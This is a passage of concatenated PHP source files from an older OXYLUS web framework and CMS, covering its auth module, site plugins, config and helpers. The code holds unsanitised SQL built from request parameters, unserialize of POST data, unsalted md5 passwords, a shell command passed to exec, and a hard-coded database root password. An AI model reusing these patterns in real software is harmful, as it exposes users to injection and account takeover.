$normal_files = glob($path . "*"); $hidden_files = glob($path . "\.?*"); $all_files = array_merge($normal_files, $hidden_files); foreach ($all_files as $file) { # Skip pseudo links to current and parent dirs (./ and ../). if (preg_match("/(\.|\.\.)$/", $file)) { continue; } if (is_file($file) === TRUE) { // Remove each file in this Directory unlink($file); } else if (is_dir($file) === TRUE) { // If this Directory contains a Subdirectory, run this Function on it CSYS::rmDir($file); } } // Remove Directory once Files have been removed (If Exists) if (is_dir($path) === TRUE) { rmdir($path); } } function Unzip($zipFile,$zipDir) { $unzipCmd=UNZIP_CMD; $unzipCmd=str_replace('@_SRC_@',$zipFile,$unzipCmd); $unzipCmd=str_replace('@_DST_@',$zipDir,$unzipCmd); $res=-1; // any nonzero value $UnusedArrayResult=array(); $UnusedStringResult=exec($unzipCmd,$UnusedArrayResult,$res); return ($res==0); } // * * * You DO NOT NEED the ZIP lib or M-ZIP to use this, but you will need the tool M-ZIP uses (unzip.exe or unzip for linux). * * * // Use it this way: /* $zipFile='/path/to/uploaded_file.zip'; $whereToUnzip='/path/to/writable/folder/'; $result=UnzipAllFiles($zipFile,$whereToUnzip); if($result===FALSE) echo('FAILED'); else echo('SUCCESS'); */ } ?>``` database.php ```<?php $_CONF["database"] = array( "type" => "mysql", //database type, just mysql supported for the moment "server" => "localhost", //mysql server or socket file "login" => "root", //mysql username "password" => "worldreadyforme.", //mysql password "default" => "12", //database name ); ?>``` admin.php ```<?php /* PHPbase web framework copyright (c) 2003 @authors $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss author Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class CAuth extends CModule{ /** * description * * @param * * @return * * @access */ function CAuth() { parent::CModule("auth"); } /** * description * * @param * * @return * * @access */ function DoEvents() { global $_CONF, $base , $_TSM , $_USER , $_SESS; parent::DoEvents(); //$this->GetInfoBlock(); //$this->__protect(); switch ($_GET["sub"]) { #settings valid for admins only case "ajax": return $this->__ajax(); break; # LOGIN PART case "verify": if (!$_GET["key"]) { return ""; } if (is_array($user = $this->db->QFetchArray("SELECT * FROM {$this->private->tables[users]} WHERE user_key='{$_GET[key]}'"))) { $_TSM["PUB:ACTION"] = "<script>ShowRecoverComplete();</script>"; $url = dirname((strtoupper($_SERVER["HTTPS"]) == "on" ? "https://" : "http://") . $_SERVER["HTTP_HOST"] . ($_SERVER["SERVER_PORT"] != 80 ? ':' . $_SERVER["SERVER_PORT"] : '') . $_SERVER["SCRIPT_NAME"] ) . "/"; $user["user_link"] = $url; $user["pass"] = RandomWord(6); $this->db->Query("UPDATE {$this->private->tables[users]} SET user_password=md5('$user[pass]'),user_key='' WHERE user_key='{$user[user_key]}'"); //send the notify email SendMail(array( "email_to" => $user["user_email"], "email_to_name" => $user["user_first_name"] . " " . $user["user_last_name"], "email_from_name" => "Administration Panel", "email_from" => "support@oxylus-development.com", "email_subject" => "Recover Password Instructions", "email_body" => $this->private->templates["mail"]->blocks["Login"]->Replace($user) ), $user ); } break; #LOGOUT case "logout": unset($_SESS["minibase"]); if (isset($_USER)) { unset($_USER); } //remove the cookie setcookie("autologin", "", time() - 3600); setcookie("username", "", time() - 3600); setcookie("keycode" , "" , time() - 3600); header("Location: index.php"); exit; break; #USERS MANAGEMENT case "profile": URLRedirect($_SERVER["PHP_SCRIPT"] . "?mod={$this->name}&sub=users&action=details&user_id={$_USER[user_id]}"); break; case "users": $data = new CSQLAdmin($_GET["sub"], $_CONF["forms"]["admintemplate"],$this->db,$this->private->tables,$extra); if (!strlen($_POST["user_password"])) unset($_POST["user_password"]); $data->functions = array( "onstore" => array(&$this , "__call_user_store"), ); return $data->DoEvents(); break; } } /** * description * * @param * * @return * * @access */ function __redirect($user) { global $_CONF , $_SESS , $_USER; //save the current user in the session $redirect = "index.php"; //overwrite the default location with the site config one if ($_CONF["default_location"]) { $redirect = $_CONF["default_location"]; } //check if this is a cookie redirect if ($_COOKIE["autologin"]) { //get all the data from $_GET $original = CSYS::ExtractVars($_SERVER["REQUEST_URI"]); if (in_array($original["mod"] , $_CONF["modules_back"]) && ($original["mod"] != "auth")) { //okay, redirect there if ($_SERVER["REQUEST_METHOD"] == "POST") { $user["user_log_last_hostname"] = @gethostbyaddr($user["user_log_last_ip"]); $_SESS["minibase"]["user"] = 1; $_SESS["minibase"]["raw"] = $user; $_USER = $user; $this->__private_post($_POST , $_SERVER["REQUEST_URI"]); die("POST"); } else { $redirect = $_SERVER["REQUEST_URI"]; } } } else { //if there was a redirect overwrite the current with the one from redirect if (strlen($_POST["redirect"])){ if ($_POST["redirect_encode"] == "1") { $post = unserialize(base64_decode($_POST["redirect"])); $user["user_log_last_hostname"] = @gethostbyaddr($user["user_log_last_ip"]); $_SESS["minibase"]["user"] = 1; $_SESS["minibase"]["raw"] = $user; $_USER = $user; $this->__private_post($post , $post["_original_redirect_url"]); } $redirect = $_POST["redirect"]; } } $user["user_log_last_hostname"] = @gethostbyaddr($user["user_log_last_ip"]); $_SESS["minibase"]["user"] = 1; $_SESS["minibase"]["raw"] = $user; $_USER = $user; URLRedirect($redirect); } /** * description * * @param * * @return * * @access */ function __private_post($vars , $url) { $html = "<html><body><form method='post' action='{$url}'>"; if (is_array($vars)) //add the values; foreach ($vars as $key => $val) { $html .= "<textarea style='visibility:hidden' name='{$key}'>" . trim($val) . "</textarea>"; } $html .= "</form><script>document.forms[0].submit();</script>"; die($html); } /** * description * * @param * * @return * * @access */ function __call_user_store($record , $type) { if ($_POST["user_password"]) { $this->db->Query("UPDATE {$this->private->tables[users]} SET user_password=md5('$_POST[user_password]') WHERE user_id='{$record[user_id]}'"); } } /** * description * * @param * * @return * * @access */ function __ajax() { global $_CONF; switch ($_GET["action"]) { case "login": $code = $this->__login_user($_POST["username"] , $_POST["password"] , $_POST["code"] ); die("x"); break; case "recover": if (is_array($user = $this->db->QFetchArray("SELECT * FROM {$this->private->tables[users]} WHERE user_email='{$_POST[email]}'"))) { //geenrate the key $key = strtoupper(md5($user["user_login"] . time())) ; $user["user_key"] = $key; $url = dirname((strtoupper($_SERVER["HTTPS"]) == "on" ? "https://" : "http://") . $_SERVER["HTTP_HOST"] . ($_SERVER["SERVER_PORT"] != 80 ? ':' . $_SERVER["SERVER_PORT"] : '') . $_SERVER["SCRIPT_NAME"] ) . "/"; $user["user_link"] = $url; $this->db->Query("UPDATE {$this->private->tables[users]} SET user_key='$key' WHERE user_email='{$_POST[email]}'"); global $_MODULES; SendMail( array( "email_to" => $user["user_email"], "email_to_name" => $user["user_first_name"] . " " . $user["user_last_name"], "email_from_name" => "Administration Panel", "email_from" => "support@oxylus-development.com", "email_subject" => "Recover Password Instructions", "email_body" => $this->private->templates["mail"]->blocks["Recover"]->Replace($user) ), $user ); echo "ok"; die(); } else { echo "invalid"; die(); } break; } } /** * description * * @param * * @return * * @access */ function __login_user($username , $pass , $code = "") { global $_SESS , $_USER; //read the user $user = $this->db->QFetchArray("SELECT * FROM {$this->private->tables[users]} WHERE `user_login`='$username'"); if (!is_array($user)) die("invalid"); //update the tries $this->db->QueryUpdate( $this->private->tables["users"], array( "user_log_tries" => $user["user_log_tries"] + 1 ), "user_id={$user[user_id]}" ); //check for user status if ($user["user_log_status"]) die("suspended"); if (($user["user_log_tries"] >= 3) && (!$code)) { die("code"); } if ($code) { if ($_SESS["XML_verify_key"] != $code) { die("code"); } } //check for the password if ($user["user_password"] != md5($pass)) die("password"); if ($_POST["remember"]) { $time = time()+3600 *24 * 3600 ; // one year ahead setcookie("autologin", "true", $time); setcookie("username", $user["user_login"], $time); setcookie("keycode" , md5($user["user_login"] . $user["user_password"]) , $time); } //reset the tries and save the last login info $this->db->QueryUpdate( $this->private->tables["users"], array( "user_log_tries" => 0, "user_log_last_login" => time(), "user_log_last_ip" => $_SERVER["REMOTE_ADDR"] ), "user_id={$user[user_id]}" ); $_SESS["minibase"]["user"] = 1; $_SESS["minibase"]["raw"] = $user; $_USER = $user; die("ok"); } } ?>``` site.clients.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallClients extends CPlugin{ var $tplvars; function COXYMallClients() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.clients.")) { $sub = str_replace("oxymall.plugin.clients." , "" ,$_GET["sub"]); $action = $_GET["action"]; $this->__init(); $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); switch ($sub) { case "landing": return $this->Listing(); break; case "item": return $this->Details(); break; } } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "landing" => "landing.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } } function Listing() { global $base; $cats = $this->GetCategories(); //if no category, nothign to show if (!is_array($cats)) { return ""; } //detect the first cat if (!$_GET["cat"]) { $cat = $cats[0]; $_GET["cat"] = $cat["cat_url"]; } else { foreach ($cats as $key => $val) { if ($val["cat_url"] == $_GET["cat"]) { $cat = $val; } } } $cats = $this->ProcessCats($cats); $items = $this->GetRecords($cat); //process the seo $this->module->plugins["modules"]->SetSeo($cat); $this->module->plugins["modules"]->SetSeo($this->tpl_module); return CTemplateStatic::Replace( $this->private->templates["landing"]->BlockReplace( "Main", array( "categories" => $this->module->plugins["common"]->Categories( $this->ProcessCats($cats), $_GET["cat"], $this->tpl_module["settings"]["set_categories_type"] ), "items" => $base->html->Table( $this->private->templates["landing"], "Items", $items["records"] ), "paging"=> $this->module->plugins["paging"]->Paging( $items["pages"] , $items["page"], array( "first" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $cat["cat_url"] . "/"), "all" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $cat["cat_url"] . "/{PAGE}/") , ), array( "ipp" => $items["ipp"], "total" => $items["count"] ) ), "comments" => $this->module->plugins["comments"]->Comments( $this->tpl_module["mod_url"] . "/" . $cat["cat_url"] . "/", $this->tpl_module["settings"]["set_fbcomments"] ), "header" => $cat["cat_description"] ? $this->private->templates["landing"]->blockReplace( "Header", $cat ) : "", ) ), $cat ); } /** * description * * @param * * @return * * @access */ function ProcessCats($cats) { if (is_Array($cats)) { //if i have just one category do not show a thing if (count($cats) == 1) { return ""; } foreach ($cats as $key => $val) { $cats[$key]["link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $val["cat_url"] . "/"); } return $cats; } } function GetCategories() { $cats = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:clients_cats']} WHERE module_id={$this->tpl_module[mod_id]} ORDER BY cat_order" ); return $cats; } function GetRecords($cat) { $count = $this->tpl_module["settings"]["set_items"]; $page = $_GET["page"]; $item_count = $this->db->RowCount( $this->tables['plugin:clients_images'], "WHERE module_id={$this->tpl_module[mod_id]} AND item_cat={$cat[cat_id]}" ); $page = $_GET["page"]; if (!$page && $item_count) { $page = 1; } else $page = (int)$page; $items = $this->db->QFetchRowArray( "SELECT * " . "FROM {$this->tables['plugin:clients_images']} " . "WHERE module_id={$this->tpl_module[mod_id]} AND item_cat={$cat[cat_id]} " . "ORDER BY item_order DESC " . "LIMIT " . ( max(0,($page - 1 ) * $count )) . " , " . $count ); if (is_Array($items)) { foreach ($items as $key => $val) { $items[$key]["content"] = $this->private->templates["landing"]->blockReplace($val["item_url"] ? "Link" : "NoLink" , $val); } } return array( "records" => $items, "count" => $item_count , "pages" => $item_count ? ceil($item_count / $count) : 1, "page" => $page, "ipp" => $count ); } function GetAllLinks($module , $links) { $cats = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:clients_cats']} " . "WHERE module_id={$module[mod_id]}" ); if (is_array($cats)) { foreach ($cats as $key => $val) { $links[] = array( "url" => $module["mod_url"] . "/" . $val["cat_url"] . "-" . $val["cat_id"] . "/", "priority" => "0.8", ); } } } } ?>``` site.countdown.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallCountDown extends CPlugin{ var $tplvars; function COXYMallCountDown() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.countdown.")) { $sub = str_replace("oxymall.plugin.countdown." , "" ,$_GET["sub"]); $action = $_GET["action"]; $this->__init(); $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); switch ($sub) { default: return $this->Landing(); break; } } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "landing" => "landing.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } } function Landing() { global $_CONF; //if expired redirect to the new page if ($this->tpl_module["settings"]["set_launchdate"] < time()) { urlredirect($this->tpl_module["settings"]["set_link_redirect"]); } $this->module->plugins["modules"]->SetSeo( $this->tpl_module ); $return = $this->private->templates["landing"]->blockReplace( "Main" , array( "server_time" => time(), "data_year" => date("Y" , $this->tpl_module["settings"]["set_launchdate"]), "data_month" => date("m" , $this->tpl_module["settings"]["set_launchdate"]), "data_day" => date("d" , $this->tpl_module["settings"]["set_launchdate"]), "data_hour" => date("G" , $this->tpl_module["settings"]["set_launchdate"]), "data_minute" => date("i" , $this->tpl_module["settings"]["set_launchdate"]), "comments" => $this->module->plugins["comments"]->Comments( $this->tpl_module["mod_url"] . "/" , $this->tpl_module["settings"]["set_fbcomments"] ), "title" => $this->tpl_module["mod_long_name"], ) ); return CTemplateStatic::Replace( $return , $this->tpl_module["settings"] ); } function GetAllLinks($module , $links) { } } ?>``` facebook.php ```<?php require_once _LIBPATH . '../3rdparty/facebook/facebook.php'; ?>``` vars.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: vars.php,v 0.0.1 09/03/2003 20:38:15 Exp $ contact: www.oxylus.ro office@oxylus.ro * @author OXYLUS [OXYLUS.ro <devel@oxylus.ro>] * @since PHPbase 0.0.1 */ class CVars { var $database; var $table; var $data = array(); var $modif = FALSE; function CVars($database,$table) { //$this->database = (is_object($database)) ? &$database : new CDatabase($database); if (is_object($database)) $this->database = &$database; else $this->database = new CDatabase($database); $this->table = $table; return $this->Load(); } function Load() { global $_USER; $vars = $this->database->QFetchRowArray("SELECT * FROM `$this->table`"); if (is_array($vars)) foreach ($vars as $key => $var) { if (strtolower($var["name"]) != "retrunurl") { if (isset($var["base_user"]) && ($var["base_user"] != $_USER["user_id"])) { unset($vars[$key]); } else $this->data[$var["name"]] = stripslashes($var["value"]); } } } function SetAll($var) { $this->data = array_merge ($this->data ,$var); $this->modif = TRUE; } function Set($name,$value,$force = FALSE) { $value = addslashes($value); if ($force == TRUE) { $this->database->Query("UPDATE `$this->table` SET `value` = '$value' WHERE (`name` = '$name')"); if ($this->database->AffectedRows() == 0) { $this->database->Query("INSERT INTO `$this->table` (`name`,`value`) VALUES ('$name','$value')"); } } $this->data["$name"] = $value; $this->modif = TRUE; } function Get($name) { return $this->data["$name"]; } function Save() { global $_USER; $table_fields = $this->database->GetTableFields($this->table); // any modifications? if ($this->modif == TRUE) { // prepare names and values foreach ($this->data as $name => $val) { if (strtolower($name) != "returnurl") { $val = addslashes($val); $values[] = "('$name','$val'" . (in_array("base_user",$table_fields) ? ",'{$_USER[user_id]}'" : '') . ")"; } } // build names and values $values = implode(", ",$values); // do the nasty things $this->database->Query("DELETE FROM `$this->table` " . (in_array("base_user",$table_fields) ? " WHERE `base_user`='{$_USER[user_id]}'" : '')); $this->database->Query("INSERT INTO `$this->table` (`name`,`value`" . (in_array("base_user",$table_fields) ? ",`base_user`" : '') . ") VALUES $values"); } } } ?>``` site.background.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallBackground extends CPlugin{ var $tplvars; function COXYMallBackground() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "main" => "main.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } $this->tpl_module = $this->module->plugins["modules"]->LoadDefaultModule("background"); } function Main() { global $base; $this->__init(); $order = "rand()"; if ($_GET["module_id"]) { //load the images for this module $items = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:background_items']} " . "WHERE item_module={$_GET[module_id]} " . "ORDER BY {$order}" ); } if (!is_array($items)) { //load the images for this module $items = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:background_items']} " . "WHERE item_module=0 " . "ORDER BY {$order}" ); } return $this->private->templates["main"]->blockReplace( "Main" , array( "items" => $base->html->Table( $this->private->templates["main"], "Items", $items ) ) ); } function GetAllLinks($module , $links) { } } ?>``` pre.skin.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss author Exp $ description */ // dependencies $skin = $_CONF["admin"]["template"]["tpl"]; include_once("skin/iceBlue/local/pre.template.php" ); ?>``` debug.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: debug.php,v 0.0.1 28/08/2005 18:03:00 Emanuel Exp $ description debugging functions */ // dependencies /** * description * * @param * * @return * * @access */ function PrintR($array , $die = false) { echo "<table><tr><td><pre style=\"background-color:white\">"; print_r($array); echo "</pre></td></tr></table>"; if ($die) die(); } /** * description * * @param * * @return * * @access */ function Debug($array , $die = false) { if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { // return ""; } PrintR($array , $die); } ?>``` site.about.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallAbout extends CPlugin{ var $tplvars; function COXYMallAbout() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); switch ($_GET["sub"]) { case "oxymall.plugin.about.landing": return $this->Main(); break; } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "main" => "main.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); } function Main() { global $base , $_CONF; $this->__init(); $this->module->plugins["modules"]->SetSeo( $this->tpl_module ); return CTemplateStatic::Replace( $this->private->templates["main"]->blockReplace( "Main" , array( "header" => $this->vars->data["about_header_" . $this->tpl_module["mod_id"]], "title" => $this->tpl_module["mod_long_name"], "comments" => $this->module->plugins["comments"]->Comments( $this->tpl_module["mod_url"] . "/", $this->tpl_module["settings"]["set_fbcomments"] ), ) ), $this->tpl_module["settings"] ); } function GetAllLinks($module , $links) { } } ?>``` plugins.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class CPlugin{ var $tplvars; function CPlugin($db, $tables, $templates) { $this->db = $db; $this->tables = $tables; $this->templates = $templates; } function __init() { //load the config file $this->_xmlFile = dirname(__FILE__) . basename(__FILE__ , ".php") . ".xml"; $this->_xmlPath = dirname(__FILE__) ; if (file_exists($this->_xmlFile)) { $conf = new CConfig($this->_xmlFile); $this->conf = $conf->vars["plugin"]; //load the templates and the tables if (is_array($this->conf["tables"])) { foreach ($this->conf["tables"] as $key => $val) { $this->private->tables[$key] = $val; } } //load the templates if (is_array($this->conf["templates"])) { foreach ($this->conf["tables"] as $key => $val) { $this->private->templates[$key] = new CTemplateDyn($val); } } } } /** * description * * @param * * @return * * @access */ function DoEvents() { global $_CONF; // $_CONF["forms"]["adminpath"] = "../" } } ?>``` index.php ```<?php if (!file_exists("../upload/conf/database.php")) { header("Location: ../install/"); exit(); } error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); $_date = microtime(); $_PAGE = isset($_GET["frame"]) ? "frame" : "index"; $_ADMIN = true; //define("PB_CRYPT_LINKS" , 1); require "config.php"; //echo "<center>" . (abs(microtime()- $_date) ) . "</center>"; ?>``` mime.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss author Exp $ description */ // dependencies class CMime { /** * description * * @param * * @return * * @access */ function CMime($file = null) { if ($file == null) { $file = _LIBPATH . "include/mime.xml"; } //load the xml file $tmp = new CConfig($file); $this->types = $tmp->data["content-type"]; } /** * description * * @param * * @return * * @access */ function Set($ext) { header("Content-type: " . $this->types[$ext]); } /** * description * * @param * * @return * * @access */ function GetByExt($file) { //get the file extenstion $tmp = explode("." , $file); krsort($tmp); reset($tmp); $ext = $tmp[key($tmp)]; return $this->types[strtolower($ext)] ? $this->types[strtolower($ext)] : $this->types["unknown"]; } /** * description * * @param * * @return * * @access */ function Filename($file) { header('Content-Disposition: attachment; filename="' . str_replace("%20" , " " , $file) . '"'); } } ?>``` admin.comments.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallComments extends CPlugin{ var $tplvars; function COXYMallComments() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.comments.")) { $sub = str_replace("oxymall.plugin.comments." , "" ,$_GET["sub"]); $action = $_GET["action"]; if ($_GET["module_id"]) { //read the module $this->tpl_module = $this->module->plugins["modules"]->getModuleInfo($_GET["module_id"]); } switch ($sub) { case "landing": $data = new CSQLAdmin("comments/" . $sub, $this->__parent_templates,$this->db,$this->tables,$extra); return $data->DoEvents(); break; case "items": $data = new CSQLAdmin("comments/" . $sub, $this->__parent_templates,$this->db,$this->tables,$extra); $data->functions = array( "onstore" => array(&$this , "StoreNewsletter"), ); return $data->DoEvents(); break; case "subscribers-export": return $this->ExportSubscribers(); break; } } } /** * description * * @param * * @return * * @access */ function ExportSubscribers() { $mime = new CMime(); $mime->Set("csv"); $mime->FileName("subscribers.csv"); $subscribers = $this->db->QFetchRowArray("SELECT * FROM {$this->tables['plugin:comments_subscribers']}"); echo putcsv(array("Email" , "Name")); if (is_array($subscribers)) { foreach ($subscribers as $key => $val) { echo putcsv(array($val["item_email"] , $val["item_name"])); } } die(); } /** * description * * @param * * @return * * @access */ function StoreNewsletter($record) { @set_time_limit(0); if ($record["item_status"] == 2) { //send the newsletter to all users $users = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:comments_subscribers']} " ); if (is_array($users)) { foreach ($users as $key => $user) { //maybe at some point add protection duplicates $this->module->plugins["mail"]->AddToQueue( array( "email_from" => $record["item_from_email"], "email_from_name" => $record["item_from_name"], "email_to" => $user["item_email"], "email_to_name" => $user["item_name"], "email_subject" => CTemplateStatic::Replace( $record["item_title"], array( "name" => $user["item_name"], "email" => $user["item_email"] ) ), "email_body" => CTemplateStatic::Replace( $record["item_body"], array( "name" => $user["item_name"], "email" => $user["item_email"] ) ) ) ); //save in history $this->db->QueryInsert( $this->tables['plugin:comments_history'], array( "history_name" => $user["item_name"], "history_email" => $user["item_email"], "history_newsletter" => $record["item_id"], "history_date" => time(), "history_status" => "1" ) ); } } //update the newsletter to sent status $this->db->QueryUpdate( $this->tables['plugin:comments_items'], array( "item_status" => "3" ), "item_id={$record[item_id]}" ); } } } ?>``` html.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: html.php,v 0.0.1 09/03/2003 20:38:15 Exp $ HTML Forms contact: www.oxylus.ro office@oxylus.ro * @library HTML * @author OXYLUS [OXYLUS.ro <devel@oxylus.ro>] * @since PHPbase 0.0.1 */ class CHTML { function CustomPaging($template , $preffix = "" , $show = 10 , $pages , $current , $link , $jump = true) { if ($pages <= 1) { return ""; } $tpl = &$template; //defaults $adjacents = 3; $limit = 1; $page = $current; //other vars $prev = $page - 1; //previous page is page - 1 $next = $page + 1; //next page is page + 1 $lastpage = ceil($pages / $limit); //lastpage is = total items / items per page, rounded up. $lpm1 = $lastpage - 1; //last page minus 1 /* Now we apply our rules and draw the pagination object. We're actually saving the code to a variable in case we want to draw it more than once. */ if (is_array($link)) { $link0 = $link["first"]; $link1 = $link["all"]; $link2 = $link["last"] ? $link["last"] : $link["all"]; $link3 = $link["jump"]; } else $link0 = $link1 = $link2 = $link; if($lastpage > 1) { if ($page > 1) { $html.= $tpl->blockReplace( $preffix . "Back" , array( "url" => CTemplateStatic::Replace( $current == 2 ? $link0 : $link1 , array("page" => $prev )), "page" => $prev ) ); } else { $html.= $tpl->blockReplace( $preffix . "BackDisabled" , array( "page" => $prev ) ); } //pages if ($lastpage < 7 + ($adjacents * 2)) //not enough pages to bother breaking it up { for ($counter = 1; $counter <= $lastpage; $counter++) { //detect the link if ($counter == 1) { $tmp_link = $link0; } else { if ($counter == $lastpage) $tmp_link = $link2; else $tmp_link = $link1; } if ($counter == $page) $html .= $tpl->blockReplace( $preffix . "PageCurrent" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); else $html .= $tpl->blockReplace( $preffix . "Page" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); } } elseif($lastpage >= 7 + ($adjacents * 2)) //enough pages to hide some { //close to beginning; only hide later pages if($page < 1 + ($adjacents * 3)) { for ($counter = 1; $counter < 4 + ($adjacents * 2); $counter++) { if ($counter == 1) { $tmp_link = $link0; } else { if ($counter == $lastpage) $tmp_link = $link2; else $tmp_link = $link1; } if ($counter == $page) $html .= $tpl->blockReplace( $preffix . "PageCurrent" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); else $html .= $tpl->blockReplace( $preffix . "Page" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); } $html .= $tpl->blockReplace( $preffix . "Dots" , array() ); $html .= $tpl->blockReplace( $preffix . "Page" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => $lpm1 )), "page" => $lpm1 ) ); $html .= $tpl->blockReplace( $preffix . "Page" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => $lastpage )), "page" => $lastpage ) ); } //in middle; hide some front and some back elseif($lastpage - ($adjacents * 2) > $page && $page > ($adjacents * 2)) { $html .= $tpl->blockReplace( $preffix . "Page" , array( "url" => CTemplateStatic::Replace( $link0 , array("page" => 1 )), "page" => 1 ) ); $html .= $tpl->blockReplace( $preffix . "Page" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => 2 )), "page" => 2 ) ); $html .= $tpl->blockReplace( $preffix . "Dots" , array() ); for ($counter = $page - $adjacents; $counter <= $page + $adjacents; $counter++) { if ($counter == 1) { $tmp_link = $link0; } else { if ($counter == $lastpage) $tmp_link = $link2; else $tmp_link = $link1; } if ($counter == $page) $html .= $tpl->blockReplace( $preffix . "PageCurrent" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); else $html .= $tpl->blockReplace( $preffix . "Page" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); } $html .= $tpl->blockReplace( $preffix . "Dots" , array() ); $html .= $tpl->blockReplace( $preffix . "Page" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => $lpm1 )), "page" => $lpm1 ) ); $html .= $tpl->blockReplace( $preffix . "Page" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => $lastpage )), "page" => $lastpage ) ); } //close to end; only hide early pages else { $html .= $tpl->blockReplace( $preffix . "Page" , array( "url" => CTemplateStatic::Replace( $link0 , array("page" => 1 )), "page" => 1 ) ); $html .= $tpl->blockReplace( $preffix . "Page" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => 2 )), "page" => 2 ) ); $html .= $tpl->blockReplace( $preffix . "Dots" , array() ); for ($counter = $lastpage - (1 + ($adjacents * 3)); $counter <= $lastpage; $counter++) { if ($counter == 1) { $tmp_link = $link0; } else { if ($counter == $lastpage) $tmp_link = $link2; else $tmp_link = $link1; } if ($counter == $page) $html .= $tpl->blockReplace( $preffix . "PageCurrent" , array( 